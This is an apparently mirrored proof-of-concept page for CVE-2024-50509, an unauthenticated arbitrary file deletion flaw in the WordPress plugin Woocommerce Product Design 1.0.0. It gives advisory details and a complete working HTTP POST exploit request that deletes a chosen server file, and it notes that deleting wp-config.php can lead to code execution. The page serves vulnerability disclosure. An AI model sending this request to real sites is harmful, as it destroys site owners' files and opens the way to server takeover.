Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-50509 PoC — WordPress plugin Woocommerce Product Design 路径遍历漏洞

Source
Associated Vulnerability
Title:WordPress plugin Woocommerce Product Design 路径遍历漏洞 (CVE-2024-50509)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Woocommerce Product Design 1.0.0版本及之前版本存在路径遍历漏洞,该漏洞源于路径名不适当限制为受限目录,导致路径遍历漏洞。
Description
Woocommerce Product Design <= 1.0.0 - Unauthenticated Arbitrary File Deletion
Readme
# CVE-2024-50509
Woocommerce Product Design <= 1.0.0 - Unauthenticated Arbitrary File Deletion

# Description

The Woocommerce Product Design plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 1.0.0. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

## Details

- **Type**: plugin
- **Slug**: woo-product-design
- **Affected Version**: 1.0.0
- **CVSS Score**: 9.8
- **CVSS Rating**: Critical
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2024-50509
- **Status**: Closed

POC
---

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

action=pc_remove_uploaded_image&file[path]=/var/www/html/readme.html
```
File Snapshot

[4.0K] /data/pocs/56c8496412d78f067c57aceeda889176c2f47855 └── [ 934] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.